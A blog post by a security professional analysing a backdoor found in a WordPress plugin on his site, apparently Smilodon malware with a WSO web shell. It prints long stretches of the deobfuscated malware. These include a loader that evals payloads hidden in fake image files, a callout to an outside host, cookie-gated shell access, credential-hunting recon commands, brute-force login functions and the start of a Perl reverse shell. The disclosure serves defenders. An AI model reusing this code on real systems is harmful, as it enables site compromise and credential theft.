I recently discovered what appeared to be a backdoor installed in my wordpress site. This post is two parts. The first part is a complete ramble you should skip if you are just here for the malware/backdoor.
This appears to be “Smilodon” malware. Example post: https://blog.sucuri.net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html
Part 1: How did this happen?
I’m an information security professional and honestly, I find it embarrassing that my site had been backdoored. I don’t make any excuses for it, but I wanted to add a small section here for context.
I’ve had blog sites for as long as I can remember. I’ve also blogged for almost every company I worked at. I don’t consider myself to be a good writer by any stretch, but I find that blogging makes me take a higher level of care to check whether I really understand the things I am working on. Honestly, I’m scared of being wrong so knowing that there is a chance someone will read my content forces me to consider whether I have taken the time to understand the concepts well enough.
Recently some friends and family floated the idea that I move my content to a more professional setting. Create a company name, buy a logo and put up a site that would look more like a trusted professional (or group of professionals) owned it rather than someone who quickly jots down notes on their very basic site. I got wrapped up in the idea and tried to move quickly so it didn’t die on the vine.
Unlike the site that was “hacked”, the site you are reading this post on uses Jekyll and is published as static html. I’m not going to say ‘unhackable’ but the bar for shenanigans is high. The tradeoff is that I write in markup and maintain a Github/Azure DevOps pipeline that converts the markup and template code into somewhat respectable HTML.
I reluctantly accepted that the new site would need to be WordPress. All the beautiful looking, easy to update sites seem to be WordPress now. Even the security companies I really admire seem to have drifted over to the dark side.
Mistake(?) 1 -
I hired someone from fiverr.com to build the site.
I say mistake with a question mark because I don’t mean to put any blame on fiverr and also the real mistakes are number 2 & 3 below. Outsourcing is an economical way to do this work, and the fiverr platform is great. I even used a supplier who was top rated and recommended/promoted by the platform. I paid more for it of course, but the tradeoff seemed right.
Mistake 2 -
My threat modelling training & experience really took a backseat because I wasn’t too concerned about the security of the site. I just wanted it to be somewhere I could write things and they would be presented in a way that appealed to readers. I didn’t plan to process payments or bookings or store information from visitors, and my concern for supply chain issues was lowered by the caliber of WordPress professional I’d hired.
Mistake 3 -
I didn’t think to scan the site before going live except for a basic wpscan from a kali machine. In fact, I barely looked at anything but the “Posts” and “Documents” sections figuring if I needed more advanced help, I would reach out to the WordPress professional id hired. I applied less than 1% of the care I would apply at work or even if I was just helping a friend.
Was it an accident?
I don’t know to this day if the person I was working with had knowledge of the backdoor. My gut feeling is that they did not. They seemed kind, helpful and responsive during the site build process. I still consider them to be all three of those things. I reached out to let them know about the malware giving them the opportunity to check that they hadn’t accidentally deploying it to other customers/sites. Even if it turns out I am being naïve, I’m not unlike other information security professionals in that I was much more interested in being Dade Murphy than (a non-criminal) Eugene Belford when I was learning this stuff as a kid. If the malware was intentional, I hope the discovery was enough of a scare to get them over to the good side to help the rest of us.
Discovery
After the site had been up for about two weeks and I had populated it with a reasonable amount of content I started to think a little more about security. I still wasn’t worried, but I had that lingering thought of “you’re a security professional, you should probably make sure nothing stands out as very bad here”. I poked around a few of the add-ins, did some updates, and ran a scan on hardenize.
Good Choice 1:
I decided I owed it to myself to automate at least the basic security checks and settled on wordfence. Wordfence also installed a WAF, made MFA much easier and allowed me to manage the firewall from the wp-admin console so it ticked quite a few boxes that I previously hadn’t even cared to think about ticking.
Among many less significant (but still much appreciated) findings, the intial scan result email alerted me to a critical issue:
Part 2: The Malware
Wordfence allowed me to quickly view the file from the wp-admin console and called out that the include
in the php file was the main concern.
The file looked like this:
<?php
/**
* Plugin Name: Ecuvene
* Plugin URI: https://a.cult.biz/ecuvene
* Description: Artificial human countries, such
* Version: 3.3.15
* Author: Orlando Louis
* Author URI: https://a.cult.biz
* Text Domain: ecuvene
* License: GPL2+
*
*/
function ihuxup_khachegype() {
hucyce_fojezafizh();
}
$ashuwic = __DIR__ . '/vihisog.txt';
if (file_exists($ashuwic)) {
include($ashuwic);
}
if (function_exists("hucyce_fojezafizh")) {
$etiwuro = new dyjeny_elyzhuchoju();
if ($etiwuro->vemojo_opitiqazh()) {
add_action('init', 'ihuxup_khachegype');
}
}
If you look at the line if (function_exists("hucyce_fojezafizh"))
you’d be forgiven for thinking well, the function doesn’t exist, despite being called by the ihuxup_khachegype()
function so not much at all is happening here. But given the include($ashuwic);
pointing to '/vihisog.txt'
we might have ourselves a bit of a red flag.
Sure enough, vihisog.txt
exists, and contains the following:
<?php
function icysut_qymypozuc($sovama_gadoseqam) {
$dukygod = strtr($sovama_gadoseqam, array('R'=>'Q', 'I'=>'W', 'F'=>'E', 'J'=>'R', 'w'=>'T', 'V'=>'Y', 'K'=>'U', 'y'=>'I', 'Q'=>'O', 'b'=>'P',
'W'=>'A', 'S'=>'S', 'q'=>'D', 'X'=>'F', 'H'=>'G', 'p'=>'H', 'o'=>'J', 't'=>'K', 'U'=>'L', 'E'=>'Z',
'A'=>'X', 's'=>'C', 'i'=>'V', 'l'=>'B', '8'=>'N', 'h'=>'M', 'k'=>'q', 'Z'=>'w', 'r'=>'e', 'L'=>'r',
'D'=>'t', 'O'=>'y', '7'=>'u', '4'=>'i', 'v'=>'o', 'e'=>'p', 'm'=>'a', '+'=>'s', 'd'=>'d', 'z'=>'f',
'C'=>'g', '3'=>'h', 'N'=>'j', 'Y'=>'k', 'j'=>'l', '1'=>'z', '9'=>'x', '/'=>'c', 'G'=>'v', 'a'=>'b',
'n'=>'n', 'M'=>'m', 'T'=>'1', 'g'=>'2', '2'=>'3', 'f'=>'4', '6'=>'5', 'u'=>'6', '='=>'7', '5'=>'8',
'B'=>'9', 'x'=>'0', 'P'=>'=', 'c'=>'+', '0'=>'/'));
$dukygod = base64_decode($dukygod);
return $dukygod;
}
function eryroq_eshuvynuq($sovama_gadoseqam) {
if (!file_exists($sovama_gadoseqam))
return false;
$uloqaj = @file_get_contents($sovama_gadoseqam);
if (!$uloqaj)
return false;
$uloqaj = substr($uloqaj, 3);
$okytiqi = icysut_qymypozuc($uloqaj);
return $okytiqi;
}
$etiwuro = __DIR__ . '/assets/article_images/images/anuhav.png';
if (file_exists($etiwuro)) {
$oqashik = eryroq_eshuvynuq($etiwuro);
if ($oqashik) {
@eval($oqashik);
}
}
With all the obfuscation here (and the obfuscation in the php file) I’m starting to get a sinking feeling. Not to mention the fact that even with the code slightly obfuscated we can see that we are reading a png file like it was text with file_get_contents
(the file being /assets/article_images/images/anuhav.png
). I can’t think of any non-malware reasons to do that.
Before going too much further it might be useful to have the full listing of files in the package:
PS C:\Users\Chad\Downloads\ecuvene\ecuvene> tree /f
Folder PATH listing
Volume serial number is 72A3-AE45
C:.
│ ecuvene.php
│ index.html
│ vihisog.txt
│
└───assets
│ index.html
│
├───images
│ anuhav.png
│ ikajosh.gif
│ index.html
│ obuxuc.gif
│ yrukixu.png
│
└───js
boveju.js
index.html
My good friend and colleague Will suggested that we carefully let the code do the deobfuscation for us.
I modified some of the vihisog.txt file and saved it as php allowing me to deobfuscate the fake png and gif files:
if (file_exists($etiwuro)) {
$oqashik = eryroq_eshuvynuq($etiwuro);
echo $oqashik;
#if ($oqashik) {
# @eval($oqashik);
#}
}
Here’s an example of the actual PNG file content:
And here after decoding using the decoding functions in the code:
The output of the first file is:
class dyjeny_elyzhuchoju {
var $uburad = 'yrukixu.png';
var $lynosha = 'ikajosh.gif';
public $eqiguso = 'boveju.js';
public $dabire_qychysho = false;
public $inijek_imanevet = false;
public $ygicaz_heshivet = false;
var $mojati_ibotivykh = null;
var $iqugib_khifechoz = null;
var $tapuqy = 'obuxuc.gif';
var $avihyvi = false;
public function __construct($sovama_gadoseqam = false) {
if ($sovama_gadoseqam) {
$this->ezaled_ygovajiq();
}
}
public function ezaled_ygovajiq() {
if (!$this->asuram_oguwujefo()) {
$this->obygyf_rygythem();
}
}
public function vemojo_opitiqazh() {
$uzybuj_ifezhuci = "DB_" . "NAM" . "E";
return defined($uzybuj_ifezhuci);
}
protected function egogac_thecuquzu($sovama_gadoseqam) {
$elojub_xevotine = crc32($sovama_gadoseqam);
if ((PHP_INT_SIZE > 4) && ($elojub_xevotine & 0x80000000))
$elojub_xevotine = $elojub_xevotine - 0x100000000;
return abs($elojub_xevotine);
}
protected function ifiwug_yzhicozu($sovama_gadoseqam) {
$denedu_chivymaxa = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_ENCODING => "",
CURLOPT_USERAGENT => "Mo" . "zill" . "a/5" . ".0 (" . "Win" . "dow" . "s N" . "T 6." . "1; " . "Win64" . "; x" . "64;" . " rv:" . "106.0" . ") Gec" . "ko/2" . "01001" . "01 " . "Fi" . "refox" . "/1" . "06" . ".0",
CURLOPT_AUTOREFERER => true,
CURLOPT_CONNECTTIMEOUT => 180,
CURLOPT_TIMEOUT => 180,
CURLOPT_MAXREDIRS => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
);
$idasiq_omyvycat = curl_init($sovama_gadoseqam);
curl_setopt_array($idasiq_omyvycat, $denedu_chivymaxa);
$elojub_xevotine = @curl_exec($idasiq_omyvycat);
if (!$elojub_xevotine)
$elojub_xevotine = @file_get_contents($sovama_gadoseqam);
return $elojub_xevotine;
}
protected function tibahy_kesutuwokh($sovama_gadoseqam, $ipisyg_zecukhopo) {
$denedu_chivymaxa = '';
$idasiq_omyvycat = "ex" . "plo" . "de";
$elojub_xevotine = "tri" . "m";
$gifoju_ezhecewam = "bas" . "e6" . "4_de" . "co" . "de";
$ybohep_thozydode = "gzi" . "nfla" . "te";
$ewinud_wanuwuxum = $idasiq_omyvycat("\n", $sovama_gadoseqam);
for ($ihixuz_ovokusypy = 0; $ihixuz_ovokusypy < sizeof($ewinud_wanuwuxum); $ihixuz_ovokusypy++) {
$denedu_chivymaxa .= $elojub_xevotine($ewinud_wanuwuxum[$ihixuz_ovokusypy]);
}
if (!$ipisyg_zecukhopo) {
return $ybohep_thozydode($gifoju_ezhecewam($denedu_chivymaxa));
}
$elijuv_achuwoth = '';
for ($ygilis_thokhowufa = 0; $ygilis_thokhowufa < sizeof($ipisyg_zecukhopo); $ygilis_thokhowufa += 2) {
if ($ygilis_thokhowufa % 4) {
$elijuv_achuwoth .= substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]);
} else {
$elijuv_achuwoth .= strrev(substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]));
}
};
$elijuv_achuwoth = $gifoju_ezhecewam($elijuv_achuwoth);
return $elijuv_achuwoth;
}
public function lajugo_thyshozhon() {
if ($this->iqugib_khifechoz)
return true;
return $this->sataxi_aqezuhul();
}
protected function asuram_oguwujefo() {
if (!$this->vemojo_opitiqazh())
header("gege" . "l3" . ":" . ($this->mojati_ibotivykh + 1));
$elijuv_achuwoth = "HTTP" . "_H" . "OST";
$ybohep_thozydode = strtoupper($_SERVER[$elijuv_achuwoth]);
$togura_chothethu = $this->nocibo_qopevymy($ybohep_thozydode, 5, 7);
$hiqafa_emyxethypa = $this->nocibo_qopevymy($ybohep_thozydode . $ybohep_thozydode, 4, 8);
if (isset($_COOKIE[$togura_chothethu])) {
if ($this->lajugo_thyshozhon()) {
$gifoju_ezhecewam = md5($_COOKIE[$togura_chothethu]);
if (($gifoju_ezhecewam == $this->iqugib_khifechoz)) {
if ((!isset($_COOKIE[$hiqafa_emyxethypa])) && (!isset($_POST[$hiqafa_emyxethypa]))) {
$ashuwic = __DIR__ . "/assets/article_images/images/pozokyd.png";
if (file_exists($ashuwic)) {
$etiwuro = file_get_contents($ashuwic);
$etiwuro = xutuqu_cexethyth($etiwuro);
echo $etiwuro;
@unlink($ashuwic);
exit;
}
} else {
if (isset($_COOKIE[$hiqafa_emyxethypa])) {
$ypifef_ycekhexica = $_COOKIE[$hiqafa_emyxethypa];
$ihixuz_ovokusypy = base64_decode($ypifef_ycekhexica);
$ygilis_thokhowufa = $this->ifiwug_yzhicozu($ihixuz_ovokusypy);
}
if (isset($_POST[$hiqafa_emyxethypa])) {
$ygilis_thokhowufa = base64_decode($_POST[$hiqafa_emyxethypa]);
}
$this->inijek_imanevet = $ygilis_thokhowufa;
return true;
}
}
}
}
return false;
}
protected function obygyf_rygythem() {
$denedu_chivymaxa = __DIR__ . "/assets/article_images/images/" . $this->lynosha;
$idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
if (!$idasiq_omyvycat)
return false;
$this->dabire_qychysho = $idasiq_omyvycat;
return true;
}
public function kecyfy_chichuxe() {
$denedu_chivymaxa = "dir" . "na" . "me";
$denedu_chivymaxa = $denedu_chivymaxa(__FILE__);
$denedu_chivymaxa = str_replace("\\", "/", $denedu_chivymaxa);
$idasiq_omyvycat = explode("/", $denedu_chivymaxa);
$idasiq_omyvycat = end($idasiq_omyvycat);
$idasiq_omyvycat = $idasiq_omyvycat . "/" . $idasiq_omyvycat . ".php";
return $idasiq_omyvycat;
}
public function zefodu_kashorit() {
$denedu_chivymaxa = "wpyii" . "2/wpy" . "ii" . "2." . "ph" . "p";
return $denedu_chivymaxa;
}
public function kymygu_izhekhas() {
$denedu_chivymaxa = "pxc" . "elP" . "ag" . "e_" . "c0100" . "2";
return $denedu_chivymaxa;
}
public function gukydi_odypusuq() {
$denedu_chivymaxa = "604" . "800";
return $denedu_chivymaxa;
}
public function iqobiv_uzhuteth() {
$denedu_chivymaxa = "YII_" . "WEB" . "_DIR";
return $denedu_chivymaxa;
}
public function oxyqox_inypewapo() {
$denedu_chivymaxa = "YII_W" . "EB_PA" . "TH";
return $denedu_chivymaxa;
}
public function nocibo_qopevymy($sovama_gadoseqam, $ipisyg_zecukhopo, $zytate_dykebech) {
$elojub_xevotine = "su" . "bstr";
$gifoju_ezhecewam = "st" . "rle" . "n";
$elijuv_achuwoth = "qwr" . "tpsdg" . "hjklz" . "xc" . "vbnm";
$ybohep_thozydode = "ey" . "uoa";
$denedu_chivymaxa = 0;
for ($idasiq_omyvycat = 0; $idasiq_omyvycat < $gifoju_ezhecewam($sovama_gadoseqam); $idasiq_omyvycat++) {
$ewinud_wanuwuxum = ord($elojub_xevotine($sovama_gadoseqam, $idasiq_omyvycat, 1));
$denedu_chivymaxa += $ewinud_wanuwuxum + $ewinud_wanuwuxum * ($ewinud_wanuwuxum + $idasiq_omyvycat);
}
$ewinud_wanuwuxum = $zytate_dykebech - $ipisyg_zecukhopo;
$ihixuz_ovokusypy = $denedu_chivymaxa % $ewinud_wanuwuxum;
<SNIP>
} else {
$ygilis_thokhowufa .= $elojub_xevotine($ybohep_thozydode, $ewinud_wanuwuxum % $gifoju_ezhecewam($ybohep_thozydode), 1);
}
}
return $ygilis_thokhowufa;
}
public function wamufa_acavezhy() {
$denedu_chivymaxa = __DIR__ . '/assets/article_images/images/' . $this->tapuqy;
$idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
$this->ygicaz_heshivet = $idasiq_omyvycat;
}
public function ohufog_shesukeshaq() {
$denedu_chivymaxa = "READ" . "ME.tx" . "t";
$idasiq_omyvycat = "bas" . "e6" . "4_de" . "co" . "de";
$elojub_xevotine = "str" . "rev";
$gifoju_ezhecewam = "604" . "800";
$ygilis_thokhowufa = "unli" . "nk";
$gifoju_ezhecewam = time() - intval($gifoju_ezhecewam) / 7;
$ihixuz_ovokusypy = dirname(__FILE__);
$ybohep_thozydode = "file" . "_get" . "_con" . "tents";
$togura_chothethu = "head" . "er";
$hiqafa_emyxethypa = "file_" . "put" . "_cont" . "ents";
$ypifef_ycekhexica = "pxc" . "elP" . "ag" . "e_" . "c0100" . "2";
if (isset($_COOKIE[$ypifef_ycekhexica]))
return;
$oqashik = false;
if (file_exists($ihixuz_ovokusypy . '/' . $denedu_chivymaxa)) {
<SNIP>
} else {
if (!defined('YII_FORM_OK')) {
define('YII_FORM_OK', 1);
}
$elijuv_achuwoth = $ybohep_thozydode($ihixuz_ovokusypy . '/' . $denedu_chivymaxa);
$elijuv_achuwoth = $idasiq_omyvycat($elojub_xevotine($elijuv_achuwoth));
echo $elijuv_achuwoth;
return;
}
}
try {
$ypecuz_liwuciseth = "SE" . "RV" . "ER" . "_ADDR";
$biwyha_silyboshos = "HTTP" . "_H" . "OST";
$qygugo_idejacuf = "REM" . "OTE" . "_AD" . "DR";
$koziti_cathukythuh = "disco" . "unt:";
$aronuf_elexoxeche = "price" . ":";
$xuhypi_onypudepu = "merc" . "ha" . "nt:";
$ikunas_guwuwanaj = "ord" . "er:";
$byhoki_gudikhez = "ad" . "dr" . "es" . "s:";
$azewyd_jikujegy = "12" . "7.0." . "0.1";
$uryvec_xinebebyg = "HTT" . "P_" . "CL" . "IEN" . "T_" . "IP";
$ukageg_bagakhavi = "HTT" . "P_X" . "_FOR" . "WA" . "RDED_" . "FOR";
$icutym_chothytuth = "#^[" . "A-Za-" . "z0-9+" . "/=]+" . "$#";
$humoca_uvugefune = "RE" . "QUEST" . "_ME" . "THO" . "D";
$pumuky_iwebukajy = "https" . ":/" . "/pr" . "eda" . "to" . "r.ho" . "st/" . "wp/w" . "idg" . "et." . "txt";
$enaxec_pikhuxubu = "GE" . "T";
$jyzako_ciminina = "curl_" . "in" . "it";
$fyciho_echoluthum = "str" . "ea" . "m_c" . "onte" . "xt_" . "cr" . "eate";
$obuqad_qiwytheb = "http";
$nykyji_leheshyk = "metho" . "d";
$fanumi_ihushypyko = 0;
$fizaqy_yrurigokh = 0;
$efapop_bypethuto = isset($_SERVER[$ypecuz_liwuciseth]) ? $_SERVER[$ypecuz_liwuciseth] : $azewyd_jikujegy;
<SNIP>
}
if ((isset($_SERVER[$humoca_uvugefune])) && ($_SERVER[$humoca_uvugefune] == $enaxec_pikhuxubu)) {
$gedilo_fyfishuba = false;
if (function_exists($jyzako_ciminina)) {
$vaqyqi_uhaboshi = curl_init($pumuky_iwebukajy);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_RETURNTRANSFER, true);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_TIMEOUT, 15);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_HEADER, false);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($vaqyqi_uhaboshi, CURLOPT_HTTPHEADER, array("$koziti_cathukythuh $fanumi_ihushypyko", "$ikunas_guwuwanaj $fizaqy_yrurigokh", "$aronuf_elexoxeche $qyjike_ujichonaly", "$xuhypi_onypudepu $uqazeq_nurinuhi", "$byhoki_gudikhez $efapop_bypethuto"));
$gedilo_fyfishuba = @curl_exec($vaqyqi_uhaboshi);
curl_close($vaqyqi_uhaboshi);
$gedilo_fyfishuba = trim($gedilo_fyfishuba);
if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
$asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
$hiqafa_emyxethypa($ihixuz_ovokusypy . '/' . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
if (!defined('YII_FORM_OK')) {
define('YII_FORM_OK', 1);
}
echo $asizur_izatysha;
}
}
<SNIP>
)
);
$ylexyd_xahokowu = $fyciho_echoluthum($ylexyd_xahokowu);
$gedilo_fyfishuba = @$ybohep_thozydode($pumuky_iwebukajy, false, $ylexyd_xahokowu);
if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
$asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
$hiqafa_emyxethypa($ihixuz_ovokusypy . '/' . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
if (!defined('YII_FORM_OK')) {
define('YII_FORM_OK', 1);
}
echo $asizur_izatysha;
}
}
}
} catch (Exception $herevi_mecequsur) {
}
}
public function sataxi_aqezuhul() {
$denedu_chivymaxa = __DIR__ . '/assets/article_images/images/yrukixu.png';
if (!file_exists($denedu_chivymaxa)) {
return false;
}
$idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
$elojub_xevotine = "HTTP" . "_H" . "OST";
$gifoju_ezhecewam = $_SERVER[$elojub_xevotine];
$ygilis_thokhowufa = floor(strlen($idasiq_omyvycat) / 32);
$ewinud_wanuwuxum = $this->egogac_thecuquzu($gifoju_ezhecewam) % $ygilis_thokhowufa;
$ihixuz_ovokusypy = substr($idasiq_omyvycat, $ewinud_wanuwuxum * 32, 32);
$this->mojati_ibotivykh = $ewinud_wanuwuxum;
$this->iqugib_khifechoz = $ihixuz_ovokusypy;
define('pudety_okeloshuja', $this->iqugib_khifechoz);
return $ihixuz_ovokusypy;
}
}
function xytaki_thylovuthok($sovama_gadoseqam) {
$midozy = strtr($sovama_gadoseqam, array('Q'=>'R', 'W'=>'I', 'E'=>'F', 'R'=>'J', 'T'=>'w', 'Y'=>'V', 'U'=>'K', 'I'=>'y', 'O'=>'Q', 'P'=>'b',
'A'=>'W', 'S'=>'S', 'D'=>'q', 'F'=>'X', 'G'=>'H', 'H'=>'p', 'J'=>'o', 'K'=>'t', 'L'=>'U', 'Z'=>'E',
'X'=>'A', 'C'=>'s', 'V'=>'i', 'B'=>'l', 'N'=>'8', 'M'=>'h', 'q'=>'k', 'w'=>'Z', 'e'=>'r', 'r'=>'L',
<SNIP>
'n'=>'n', 'm'=>'M', '1'=>'T', '2'=>'g', '3'=>'2', '4'=>'f', '5'=>'6', '6'=>'u', '7'=>'=', '8'=>'5',
'9'=>'B', '0'=>'x', '='=>'P', '+'=>'c', '/'=>'0'));
return $midozy;
}
function xutuqu_cexethyth($sovama_gadoseqam) {
$dukygod = strtr($sovama_gadoseqam, array('R'=>'Q', 'I'=>'W', 'F'=>'E', 'J'=>'R', 'w'=>'T', 'V'=>'Y', 'K'=>'U', 'y'=>'I', 'Q'=>'O', 'b'=>'P',
'W'=>'A', 'S'=>'S', 'q'=>'D', 'X'=>'F', 'H'=>'G', 'p'=>'H', 'o'=>'J', 't'=>'K', 'U'=>'L', 'E'=>'Z',
<SNIP>
'C'=>'g', '3'=>'h', 'N'=>'j', 'Y'=>'k', 'j'=>'l', '1'=>'z', '9'=>'x', '/'=>'c', 'G'=>'v', 'a'=>'b',
'n'=>'n', 'M'=>'m', 'T'=>'1', 'g'=>'2', '2'=>'3', 'f'=>'4', '6'=>'5', 'u'=>'6', '='=>'7', '5'=>'8',
'B'=>'9', 'x'=>'0', 'P'=>'=', 'c'=>'+', '0'=>'/'));
return $dukygod;
}
$gogyru_syqivafef = new dyjeny_elyzhuchoju();
<SNIP>
}
} else {
if ($gogyru_syqivafef->lajugo_thyshozhon()) {
$gogyru_syqivafef->ezaled_ygovajiq();
if ($gogyru_syqivafef->inijek_imanevet) {
@eval($gogyru_syqivafef->inijek_imanevet);
} else {
@eval($gogyru_syqivafef->dabire_qychysho);
}
}
The rest of the Code
I don’t think it’s the right thing to do to paste all the extracted files here and you might have noticed I snipped out a little of the content from above. I’m not an expert in this space, but it seems to be a well-built backdoor that would hide well on WordPress sites. It didn’t show up in the add-in’s console, it was only the file scan by Wordfence that caused me to look at all.
Below are some of the more interesting things from the other encoded “.png” and “.gif” files that contain more functions for the shell:
Disk Space and ExploitDB lookups:
if (function_exists('diskfreespace'))
$freeSpace = @diskfreespace($GLOBALS['cwd']);
if (function_exists('disk_total_space'))
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
if (function_exists('php_uname')) {
$phpUname = @php_uname();
$release = @php_uname('r');
$kernel = @php_uname('s');
}
$explink = 'https://www.exploit-db.com/search/?action=search&g-recaptcha-response=&q=';
if (strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
else
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
Hiding from crawlers?
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (@preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
The password for the backdoor and the form to accept it:
$pw=pudety_okeloshuja;
<SNIP>
function wsoLogin() {
die("<form class='gegel3' method=post><input type=password name=pw><input type=submit value='>>'></form>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if (!empty($pw)) {
$cook = substr(md5($_SERVER['HTTP_HOST']), 0, 3);
if (isset($_POST['pw']) && (md5($_POST['pw']) == $pw))
WSOsetcookie($cook, $pw);
if (!isset($_COOKIE[$cook]) || ($_COOKIE[$cook] != $pw))
wsoLogin();
}
Recon specific to hosting OS:
if ($os == 'win')
$als = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$als = array(
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
More Recon:
if ($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"ft\", \"/rgp/\", \"cnffjq\")'>[view]</a>" : 'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"ft\", \"/rgp/\", \"funqbj\")'>[view]</a>" : 'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
$danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
Removal of the Shell:
function actionSelfRemove() {
if ($_POST['p'] == 'yes')
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if ($_POST['p'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
FTP and SQL login attempts:
(There are many other functions for handling each type of success)
if ($_POST['proto'] == 'ftp') {
function wsoBruteForce($ip, $port, $login, $pass) {
$fp = @ftp_connect($ip, $port ? $port : 21);
if (!$fp)
return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif ($_POST['proto'] == 'mysql') {
function wsoBruteForce($ip, $port, $login, $pass) {
$res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif ($_POST['proto'] == 'pgsql') {
function wsoBruteForce($ip, $port, $login, $pass) {
$str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
Connect Back Function:
(This was Base64 encoded in a function called “connect_back”)
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
